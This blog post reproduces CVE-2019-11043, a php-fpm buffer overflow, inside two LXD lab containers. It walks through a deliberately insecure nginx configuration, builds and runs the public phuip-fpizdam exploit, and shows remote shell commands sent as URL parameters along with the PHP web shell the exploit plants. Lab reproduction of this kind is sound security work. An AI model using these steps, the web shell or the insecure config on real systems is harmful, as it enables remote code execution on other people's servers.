Testing CVE-2019-11043 (php-fpm security vulnerability) with LXD system containers

CVE-2019-11043 is a buffer overflow in php-fpm that under certain conditions, can lead to remote execution. There is an exploit at PHuiP-FPizdaM that targets certain nginx and php-fpm configurations. On their page, the describe how to use Docker to test this exploit. In this post, we use LXD to test the exploit and verify whether it actually works.

Note that php-fpm is vulnerable when nginx is configured to handle php-fpm by a specific way. Apparently, the configuration instructions for Nextcloud suggest to use this bad way. In this post, we try to achieve this bad configuration without installing Nextcloud but rather using what is minimally required for the demonstration.

In the following we create two system containers, vulnerable and hacker. In the first container, we setup nginx and php-fpm (latest version, buffer overflow still present) and configure as required at the exploit page. In the other container, we run the exploit code, targeting the first container.

Setting up the vulnerable container

We create the container vulnerable and install the packages nginx and php-fpm. Note the version of php-fpm. This is a vulnerable version with the buffer overflow. If, by the time you are reading this, there is a newer version that fixes the buffer overflow, then you can selectively install the version shown below. The exact vulnerable version is php-fpm-7.2.19-0ubuntu0.18.04.2 (2019-08-13).

$ lxc launch ubuntu:18.04 vulnerable
Creating vulnerable
Starting vulnerable
$ lxc exec vulnerable -- sudo --user ubuntu --login
To run a command as administrator (user "root"), use "sudo ".
See "man sudo_root" for details.

ubuntu@vulnerable:~$ sudo apt update
...
ubuntu@vulnerable:~$ sudo apt install -y nginx php-fpm
...
ubuntu@vulnerable:~$ apt policy php-fpm
php-fpm:
 Installed: 1:7.2+60ubuntu1
 Candidate: 1:7.2+60ubuntu1
 Version table:
*** 1:7.2+60ubuntu1 500
       500 http://archive.ubuntu.com/ubuntu bionic/universe amd64 Packages
       100 /var/lib/dpkg/status
ubuntu@vulnerable:~$ apt policy php7.2-fpm
php7.2-fpm:
  Installed: 7.2.19-0ubuntu0.18.04.2
  Candidate: 7.2.19-0ubuntu0.18.04.2
  Version table:
 *** 7.2.19-0ubuntu0.18.04.2 500
        500 http://archive.ubuntu.com/ubuntu bionic-updates/universe amd64 Packages
        500 http://security.ubuntu.com/ubuntu bionic-security/universe amd64 Packages
        100 /var/lib/dpkg/status
     7.2.3-1ubuntu1 500
        500 http://archive.ubuntu.com/ubuntu bionic/universe amd64 Packages
ubuntu@vulnerable:~$ logout
$ 

Let’s take a snapshot of the vulnerable container at the current state where we just installed nginx and php-fpm. We can switch back to this state easily if we want to start over. For completeness, we show here how to restore and also how to remove a snapshot.

$ lxc snapshot vulnerable stock-install
$ lxc info vulnerable 
Name: vulnerable
...
Snapshots:
   stock-install (taken at 2019/10/28 10:11 UTC) (stateless)
$ lxc restore vulnerable stock-install
$ lxc delete vulnerable/stock-install

By default, php-fpm is not enabled in anginx server block (i.e. virtual host), so we are about to enable it. We try first to setup with the default configuration as found in Ubuntu. Below is the default website configuration in nginx, having stripped anything unimportant, and enabled PHP support. In bold are the relevant changes that enable PHP support. Note, we have not configured yet php-fpm in the vulnerable state.

# Location: /etc/nginx/sites-enabled/default

server {
        listen 80 default_server;
        root /var/www/html;

        # Add index.php to the list if you are using PHP
        index index.html index.php;

        server_name _;

        location / {
            # First attempt to serve request as file, then
            # as directory, then fall back to displaying a 404.
            try_files $uri $uri/ =404;
        }

        # pass PHP scripts to FastCGI server
        #
        location ~ \.php$ {
            include snippets/fastcgi-php.conf;

            fastcgi_pass unix:/var/run/php/php7.2-fpm.sock;
       }
}

Finally, we create an index.php and add some simple PHP in it. We then verify that the PHP code actually runs. For the matters of the exploit, we could have also used an empty .php file.

ubuntu@vulnerable:~$ lxc exec vulnerable -- sudo --user ubuntu --login
ubuntu@vulnerable:~$ echo "<?php echo '<p>Hello World</p>'; ?> " | sudo tee /var/www/html/index.php
ubuntu@vulnerable:~$ curl http://localhost
Hello World
ubuntu@vulnerable:~$

The vulnerable container is ready; not yet in the vulnerable state, but ready nevertheless.

Let’s take a snapshot of the container in case we want to come back to.

ubuntu@vulnerable:~$ logout
$ lxc snapshot vulnerable stock-with-php-on
$ 

Setting up the hacker container

We create the hacker container and compile the exploit code.

$ lxc launch ubuntu:18.04 hacker
Creating hacker
Starting hacker
$ lxc exec hacker -- sudo --user ubuntu --login
ubuntu@hacker:~$ sudo snap install go --classic
go 1.13.3 from Michael Hudson-Doyle (mwhudson) installed
ubuntu@hacker:~$ git clone https://github.com/neex/phuip-fpizdam.git
ubuntu@hacker:~$ cd phuip-fpizdam/
ubuntu@hacker:~/phuip-fpizdam$ go build
go: downloading github.com/spf13/cobra v0.0.5
go: extracting github.com/spf13/cobra v0.0.5
go: downloading github.com/spf13/pflag v1.0.3
go: extracting github.com/spf13/pflag v1.0.3
go: finding github.com/spf13/cobra v0.0.5
go: finding github.com/spf13/pflag v1.0.3
ubuntu@hacker:~/phuip-fpizdam$ ls
 README.md  consts.go  detect_methods.go  go.sum   phpini.go      
 reproducer attack.go  detect.go  go.mod  main.go  phuip-fpizdam  
 requester.go
ubuntu@hacker:~/phuip-fpizdam$

At this stage, we can attempt to see whether the stock installation of nginx+php in the vulnerable container is susceptible to the current implementation of the exploit. The vulnerable container is accessible from this container by using the name plus .lxd. Each LXD container gets such a hostname for free and all are accessible by the other containers using these hostnames.

ubuntu@hacker:~/phuip-fpizdam$ curl http://vulnerable.lxd/index.php
<p>Hello World</p>
ubuntu@hacker:~/phuip-fpizdam$ ./phuip-fpizdam http://vulnerable.lxd/index.php
2019/10/28 10:09:06 Base status code is 404
2019/10/28 10:09:06 Detect() returned error: no qsl candidates found, invulnerable or something wrong
ubuntu@hacker:~/phuip-fpizdam$ 

Up to this stage, the hacker container is ready. The vulnerable container is not really vulnerable yet, and we need to get back to it to make changes so that it becomes vulnerable.

Working on the vulnerable container

In the configuration of the server block shown earlier, there is a directive include snippets/fastcgi-php.conf; The purpose of this directive is to include verbatim a set of configurations. We need to edit those configurations, therefore we import the whole file and the server block now looks like the following.

# Location: /etc/nginx/sites-enabled/default

server {
        listen 80 default_server;
        root /var/www/html;

        # Add index.php to the list if you are using PHP
        index index.html index.php;

        server_name _;

        location / {
            # First attempt to serve request as file, then
            # as directory, then fall back to displaying a 404.
            try_files $uri $uri/ =404;
        }

        # pass PHP scripts to FastCGI server
        #
        location ~ \.php$ {

# regex to split $uri to $fastcgi_script_name and $fastcgi_path
fastcgi_split_path_info ^(.+.php)(/.+)$;

# Check that the PHP script exists before passing it
try_files $fastcgi_script_name =404;

# Bypass the fact that try_files resets $fastcgi_path_info
# see: http://trac.nginx.org/nginx/ticket/321
set $path_info $fastcgi_path_info;
fastcgi_param PATH_INFO $path_info;

fastcgi_index index.php;
include fastcgi.conf;

            fastcgi_pass unix:/var/run/php/php7.2-fpm.sock;
       }
}

We make the following minimal changes. First, we change the matching pattern to the one depicted. Second, we comment out the try_files directive. Third, we move the include fastcgi.conf directory at the top of the section. I could not figure out why that would be needed, but it does make a difference. This file is found at /etc/nginx/fastcgi.conf and it just sets several environment variables to PHP-FPM. I could not figure out why it matters and specifically how the commands that run after, are affected.

Changes to the default nginx configuration for php-fpm.

Here is the final vulnerable configuration file. In bold the three changes to the default configuration file. Obviously, it is feasible to prune the configuration and make it much smaller.

# Location: /etc/nginx/sites-enabled/default

server {
        listen 80 default_server;
        root /var/www/html;

        # Add index.php to the list if you are using PHP
        index index.html index.php;

        server_name _;

        location / {
            # First attempt to serve request as file, then
            # as directory, then fall back to displaying a 404.
            try_files $uri $uri/ =404;
        }

        # pass PHP scripts to FastCGI server
        #
        location ~ [^/].php(/|$) {

include fastcgi.conf;

# regex to split $uri to $fastcgi_script_name and $fastcgi_path
fastcgi_split_path_info ^(.+.php)(/.+)$;

# Check that the PHP script exists before passing it
#try_files $fastcgi_script_name =404;

# Bypass the fact that try_files resets $fastcgi_path_info
# see: http://trac.nginx.org/nginx/ticket/321
set $path_info $fastcgi_path_info;
fastcgi_param PATH_INFO $path_info;

fastcgi_index index.php;

            fastcgi_pass unix:/var/run/php/php7.2-fpm.sock;
       }
}

We are ready to switch to the hacker container and try the exploit.

Using the exploit

From the hacker container, we run the exploit over the vulnerable container. What has happened, is that php-fpm has been affected and can be used to further execute commands remotely.

ubuntu@hacker:~/phuip-fpizdam$ ./phuip-fpizdam http://vulnerable.lxd/index.php
2019/10/28 14:39:24 Base status code is 200
2019/10/28 14:39:25 Status code 502 for qsl=1765, adding as a candidate
2019/10/28 14:39:25 The target is probably vulnerable. Possible QSLs: [1755 1760 1765]
2019/10/28 14:39:25 Attack params found: --qsl 1760 --pisos 84 --skip-detect
2019/10/28 14:39:25 Trying to set "session.auto_start=0"…
2019/10/28 14:39:25 Detect() returned attack params: --qsl 1760 --pisos 84 --skip-detect <-- REMEMBER THIS
2019/10/28 14:39:25 Performing attack using php.ini settings…
2019/10/28 14:39:25 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
2019/10/28 14:39:25 Trying to cleanup /tmp/a…
2019/10/28 14:39:25 Done!
ubuntu@hacker:~/phuip-fpizdam$ 

According to the instructions, we run the commands like the following. For some reason, the exploit works every other time. It is likely an LXD issue, to be figured out at a later time.

ubuntu@hacker:~/phuip-fpizdam$ curl "http://vulnerable.lxd/index.php?a=/bin/sh+-c+'id'&"
<p>Hello World</p>
ubuntu@hacker:~/phuip-fpizdam$ curl "http://vulnerable.lxd/index.php?a=/bin/sh+-c+'id'&"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
<p>Hello World</p>
ubuntu@hacker:~/phuip-fpizdam$ curl "http://vulnerable.lxd/index.php?a=/bin/sh+-c+'id'&"
<p>Hello World</p>
ubuntu@hacker:~/phuip-fpizdam$ curl "http://vulnerable.lxd/index.php?a=/bin/sh+-c+'id'&"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
<p>Hello World</p>
ubuntu@hacker:~/phuip-fpizdam$ 

The way they exploit works, is that it saves a helper script on the vulnerable host at /tmp/a. Then, this helper is invoked each time to executes the hacker’s commands.

ubuntu@vulnerable:~$ ls -l /tmp/a
-rw-r--r-- 1 www-data www-data 32 Oct 28 14:41 /tmp/a

ubuntu@vulnerable:~$ cat /tmp/a
<?php echo`$_GET[a]`;return;?>

ubuntu@vulnerable:~$ 

Conclusion

Instead of using Docker (described in the exploit’s documentation), we can use LXD as the developing and testing environment to assess the significance of this vulnerability of php-fpm. We can pick and choose among many Linux distributions including Ubuntu, Debian, Centos, Fedora and openSUSE.

We can also setup a vulnerable container to be ubuntu:16.04in order to explore this vulnerability on PHP5.

Permanent link to this article: https://blog.simos.info/testing-cve-2019-11043-php-fpm-security-vulnerability-with-lxd-system-containers/

1 ping

  1. […] Testing CVE-2019-11043 (php-fpm security vulnerability) with LXD system containers […]

Leave a Reply

This site uses Akismet to reduce spam. Learn how your comment data is processed.